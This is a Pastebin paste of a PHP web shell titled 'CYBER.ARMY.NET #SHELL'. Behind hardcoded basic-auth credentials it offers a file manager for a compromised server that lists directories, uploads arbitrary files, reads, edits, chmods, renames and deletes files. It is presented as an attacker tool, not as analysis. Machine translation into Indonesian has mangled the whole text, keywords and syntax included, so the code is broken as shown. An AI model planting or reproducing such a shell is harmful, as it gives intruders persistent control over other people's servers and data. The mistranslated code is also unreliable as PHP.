Advertisement
Guest User

Untitled

a guest
Mar 21st, 2019
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.70 KB | None | 0 0
  1. <? php
  2. // --- muncul
  3.  
  4. $ user = "MR";
  5.  
  6. $ pass = "CAN";
  7.  
  8. if (($ _SERVER ["PHP_AUTH_USER"]! = $ user) || (($ _SERVER ["PHP_AUTH_PW"])! = $ pass))
  9.  
  10. {
  11.  
  12. header ("Otentikasi WWW: Realm dasar = \" dvildance ada di sini \ "");
  13.  
  14. header ("HTTP / 1.0 401 Tidak Sah");
  15.  
  16. keluar();
  17.  
  18. }
  19.  
  20. // --- php shell
  21.  
  22. set_time_limit (0);
  23. error_reporting (0);
  24.  
  25. if (get_magic_quotes_gpc ()) {
  26. foreach ($ _ POST sebagai $ key => $ value) {
  27. $ _POST [$ key] = stripslashes ($ value);
  28. }
  29. }
  30. echo '<! DOCTYPE HTML>
  31. <HTML>
  32. <HEAD>
  33. <link rel = "ICORT SHORTCUT" href = "https://www.upload.ee/image/9136286/1539939372537.png">
  34. <DIV align = center> <IMG src = "https://www.upload.ee/image/9136286/1539939372537.png" width = 350 height = 300> <br>
  35. <center> <font color = "white" face = "Papyrus"> MR.UNKNOWN <br> CAN </font> </footer> </tr> </table>
  36. </style>
  37. <tautan href = "https://fonts.googleapis.com/css?family=Walter+Turncoat" rel = "stylesheet">
  38. <title> CYBER.ARMY.NET #SHELL </title>
  39.  
  40. <style>
  41. tubuh {
  42. background-image: url ("https://data.whicdn.com/images/310610383/original.gif");
  43. background-repeat: no-repeat;
  44. ukuran latar belakang: 100% 120%;
  45. font-family: Papyrus, kursif;
  46. warna latar: # 000000;
  47. text-shadow: 0px 0px 1px #ffffff;
  48. }
  49. #content tr: hover {
  50. warna latar: # ff0000;
  51. text-shadow: 0px 0px 10px ## ffffff;
  52. }
  53. #content .first {
  54. warna latar: # 000000;
  55. }
  56. #content .first: hover {
  57. warna latar: # ff0000;
  58. text-shadow: 0px 0px 1px #ffffff;
  59. }
  60. meja{
  61. perbatasan: 1px #ffffff putus-putus;
  62. }
  63. H1 {
  64. font-family: "Papyrus", kursif;
  65. }
  66. Sebuah{
  67. warna: #ffffff;
  68. teks-dekorasi: tidak ada;
  69. }
  70. a: hover {
  71. warna putih;
  72. text-shadow: 0px 0px 10px #ffffff;
  73. }
  74. masukan, pilih, textarea {
  75. perbatasan: 1px #ffffff solid;
  76. -moz-border-radius: 5px;
  77. -webkit-border-radius: 5px;
  78. batas-radius: 5px;
  79. }
  80. </style>
  81. </HEAD>
  82. <BODY>
  83. <table width = "700" border = "0" cellpadding = "3" cellspacing = "1" align = "center">
  84. <tr> <td> file >> ';
  85. if (isset ($ _ GET ['path'])) {
  86. $ path = $ _GET ['path'];
  87. }lain{
  88. $ path = getcwd ();
  89. }
  90. $ path = str_replace ('\\', '/', $ path);
  91. $ paths = meledak ('/', $ path);
  92.  
  93. foreach ($ path sebagai $ id => $ pat) {
  94. if ($ pat == '' && $ id == 0) {
  95. $ a = true;
  96. echo '<a href="?path=/"> / </a>';
  97. terus;
  98. }
  99. jika ($ pat == '') melanjutkan;
  100. gema '<a href = "? path =';
  101. untuk ($ i = 0; $ i <= $ id; $ i ++) {
  102. gema "$ paths [$ i]";
  103. if ($ i! = $ id) echo "/";
  104. }
  105. echo '">'. $ pat. '</a> /';
  106. }
  107. echo '</td> </tr> <tr> <td>';
  108. if (isset ($ _ FILES ['file'])) {
  109. if (salin ($ _ FILES ['file'] ['tmp_name'], $ path. '/'. $ _ FILES ['file'] ['name'])) {
  110. echo '<font color = "# ffffff"> upload berhasil! </font> <br />';
  111. }lain{
  112. echo '<font color = "red"> unggahan gagal! </font> <br />';
  113. }
  114. }
  115. echo '<form enctype = "multipart / form-data" method = "POST">
  116. unggah <input type = "file" name = "file" />
  117. <input type = "submit" value = "Upload" />
  118. </form>
  119. </td> </tr> ';
  120. if (isset ($ _ GET ['filesrc'])) {
  121. echo "<tr> <td> file >>";
  122. echo $ _GET ['filesrc'];
  123. echo '</tr> </td> </table> <br />';
  124. echo ('<pre>' .htmlspecialchars (file_get_contents ($ _ DAPATKAN ['filerc'])). '</pre>');
  125. } elseif (isset ($ _ GET ['option']) && $ _POST ['opt']! = 'delete') {
  126. echo '</table> <br /> <center>'. $ _ POST ['path']. '<br /> <br />';
  127. if ($ _ POST ['opt'] == 'chmod') {
  128. if (isset ($ _ POST ['perm'])) {
  129. if (chmod ($ _ POST ['path'], $ _ POST ['perm'])) {
  130. gema '<font color = "white"> ubah izin berhasil! </font> <br />';
  131. }lain{
  132. gema '<font color = "red"> ubah izin gagal! </font> <br />';
  133. }
  134. }
  135. echo '<form method = "POST">
  136. Izin: <input name = "perm" type = "text" size = "4" value = "'. Substr (sprintf ('% o ', fileperms ($ _ POST [' path '])), -4).' "/>
  137. <input type = "hidden" name = "path" value = "'. $ _ POST [' path '].'">
  138. <input type = "hidden" name = "opt" value = "chmod">
  139. <input type = "submit" value = "Go" />
  140. </form> ';
  141. } elseif ($ _ POST ['opt'] == 'rename') {
  142. if (isset ($ _ POST ['newname'])) {
  143. if (rename ($ _ POST ['path'], $ path. '/'. $ _ POST ['newname']))) {
  144. echo '<font color = "white"> ubah nama berhasil! </font> <br />';
  145. }lain{
  146. echo '<font color = "red"> ganti nama gagal! </font> <br />';
  147. }
  148. $ _POST ['name'] = $ _POST ['newname'];
  149. }
  150. echo '<form method = "POST">
  151. Nama Baru: <input name = "newname" type = "text" size = "3" value = "'. $ _ POST [' name '].'" />
  152. <input type = "hidden" name = "path" value = "'. $ _ POST [' path '].'">
  153. <input type = "hidden" name = "opt" value = "rename">
  154. <input type = "submit" value = "Go" />
  155. </form> ';
  156. } elseif ($ _ POST ['opt'] == 'edit') {
  157. if (isset ($ _ POST ['src'])) {
  158. $ fp = fopen ($ _ POST ['path'], 'w');
  159. if (fwrite ($ fp, $ _ POST ['src'])) {
  160. gema '<font color = "white"> sunting berhasil! </font> <br />';
  161. }lain{
  162. echo '<font color = "red"> edit gagal bro </font> <br />';
  163. }
  164. fclose ($ fp);
  165. }
  166. echo '<form method = "POST">
  167. <textarea cols = 80 rows = 20 name = "src"> '. htmlspecialchars (file_get_contents ($ _ POST [' path ']))).' </textarea> <br />
  168. <input type = "hidden" name = "path" value = "'. $ _ POST [' path '].'">
  169. <input type = "hidden" name = "opt" value = "edit">
  170. <input type = "submit" value = "Go" />
  171. </form> ';
  172. }
  173. gema '</center>';
  174. }lain{
  175. echo '</table> <br /> <center>';
  176. if (isset ($ _ GET ['option']) && $ _POST ['opt'] == 'delete') {
  177. if ($ _ POST ['type'] == 'dir') {
  178. if (rmdir ($ _ POST ['path']))) {
  179. echo '<font color = "white"> delete berhasil! </font> <br />';
  180. }lain{
  181. echo '<font color = "red"> delete gagal! </font> <br />';
  182. }
  183. } elseif ($ _ POST ['type'] == 'file') {
  184. if (batalkan tautan ($ _ POST ['path'])) {
  185. echo '<font color = "white"> hapus file berhasil !. </font> <br />';
  186. }lain{
  187. echo '<font color = "red"> hapus file gagal! </font> <br />';
  188. }
  189. }
  190. }
  191. gema '</center>';
  192. $ scandir = scandir ($ path);
  193. echo '<div id = "content"> <table width = "700" border = "0" cellpadding = "3" cellspacing = "1" align = "center">
  194. <tr class = "first">
  195. <td><center>Name</center> </td>
  196. <td><center>Size</center> </td>
  197. <td><center>Permissions</center> </td>
  198. <td><center>Options</center> </td>
  199. </tr> ';
  200.  
  201. foreach ($ scandir as $ dir) {
  202. if (! is_dir ("$ path / $ dir") || $ dir == '.' || $ dir == '..') lanjutkan;
  203. gema "<tr>
  204. <td> <a href=\"?path=$path/$dir\"> $ dir </a> </td>
  205. <td><center>--</center> </td>
  206. <td> <center> ";
  207. if (is_writable ("$ path / $ dir")) echo '<font color = "white">';
  208. elseif (! is_readable ("$ path / $ dir")) echo '<font color = "red">';
  209. perm echo ("$ path / $ dir");
  210. if (is_writable ("$ path / $ dir") ||! is_readable ("$ path / $ dir")) echo '</font>
  211.  
  212. gema "</center> </td>
  213. <td> <center> <form method = \ "POST \" action = \ "? option & path = $ path \">
  214. <select name = \ "opt \">
  215. <option value = \ "\"> </option>
  216. <option value = \ "delete \"> Hapus </option>
  217. <option value = \ "chmod \"> Chmod </option>
  218. <option value = \ "rename \"> Ubah nama </option>
  219. </select>
  220. <input type = \ "hidden \" name = \ "type \" value = \ "dir \">
  221. <input type = \ "hidden \" name = \ "name \" value = \ "$ dir \">
  222. <input type = \ "hidden \" name = \ "path \" value = \ "$ path / $ dir \">
  223. <tipe input = \ "kirim \" nilai = \ "> \" />
  224. </form></center> </td>
  225. </tr> ";
  226. }
  227. echo '<tr class = "first"> <td> </td> <td> </td> <td> </td> <td> </td> </tr>';
  228. foreach ($ scandir sebagai $ file) {
  229. if (! is_file ("$ path / $ file")) melanjutkan;
  230. $ size = filesize ("$ path / $ file") / 1024;
  231. $ size = round ($ size, 3);
  232. if ($ size> = 1024) {
  233. $ size = round ($ size / 1024,2). ' MB ';
  234. }lain{
  235. $ size = $ size. ' KB ';
  236. }
  237.  
  238. gema "<tr>
  239. <td> <a href=\"?filesrc=$path/$file&path=$path\"> $ file </a> </td>
  240. <td><center>".$size."</center> </td>
  241. <td> <center> ";
  242. if (is_writable ("$ path / $ file")) echo '<font color = "white">';
  243. elseif (! is_readable ("$ path / $ file")) echo '<font color = "red">';
  244. perm echo ("$ path / $ file");
  245. if (is_writable ("$ path / $ file") ||! is_readable ("$ path / $ file")) echo '</font>';
  246. gema "</center> </td>
  247. <td> <center> <form method = \ "POST \" action = \ "? option & path = $ path \">
  248. <select name = \ "opt \">
  249. <option value = \ "Action \"> Action </option>
  250. <option value = \ "delete \"> Hapus </option>
  251. <option value = \ "chmod \"> Chmod </option>
  252. <option value = \ "rename \"> Ubah nama </option>
  253. <option value = \ "edit \"> Edit </option>
  254. </select>
  255. <input type = \ "hidden \" name = \ "type \" value = \ "file \">
  256. <input type = \ "hidden \" name = \ "name \" value = \ "$ file \">
  257. <input type = \ "hidden \" name = \ "path \" value = \ "$ path / $ file \">
  258. <tipe input = \ "kirim \" nilai = \ "> \" />
  259. </form></center> </td>
  260. </tr> ";
  261. }
  262. gema '</table>
  263. </div> ';
  264. }
  265. gaung
  266. </BODY>
  267. </HTML> ';
  268. fungsi perms ($ file) {
  269. $ perms = fileperms ($ file);
  270.  
  271. if (($ perms & 0xC000) == 0xC000) {
  272. // Stopkontak
  273. $ info = 's';
  274. } elseif (($ perms & 0xA000) == 0xA000) {
  275. // Tautan Simbolik
  276. $ info = 'l';
  277. } elseif (($ perms & 0x8000) == 0x8000) {
  278. // Reguler
  279. $ info = '-';
  280. } elseif (($ perms & 0x6000) == 0x6000) {
  281. // Blok spesial
  282. $ info = 'b';
  283. } elseif (($ perms & 0x4000) == 0x4000) {
  284. // Direktori
  285. $ info = 'd';
  286. } elseif (($ perms & 0x2000) == 0x2000) {
  287. // Karakter spesial
  288. $ info = 'c';
  289. } elseif (($ perms & 0x1000) == 0x1000) {
  290. // Pipa FIFO
  291. $ info = 'p';
  292. } lain {
  293. // Tidak dikenal
  294. $ info = 'u';
  295. }
  296.  
  297. // Pemilik
  298. $ info. = (($ perms & 0x0100)? 'r': '-');
  299. $ info. = (($ perms & 0x0080)? 'w': '-');
  300. $ info. = (($ perms & 0x0040)?
  301. (($ perms & 0x0800)? 's': 'x'):
  302. (($ perms & 0x0800)? 'S': '-'));
  303.  
  304. // Grup
  305. $ info. = (($ perms & 0x0020)? 'r': '-');
  306. $ info. = (($ perms & 0x0010)? 'w': '-');
  307. $ info. = (($ perms & 0x0008)?
  308. (($ perms & 0x0400)? 's': 'x'):
  309. (($ perms & 0x0400)? 'S': '-'));
  310.  
  311. // Dunia
  312. $ info. = (($ perms & 0x0004)? 'r': '-');
  313. $ info. = (($ perms & 0x0002)? 'w': '-');
  314. $ info. = (($ perms & 0x0001)?
  315. (($ perms & 0x0200)? 't': 'x'):
  316. (($ perms & 0x0200)? 'T': '-'));
  317.  
  318. mengembalikan $ info;
  319. }
  320. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement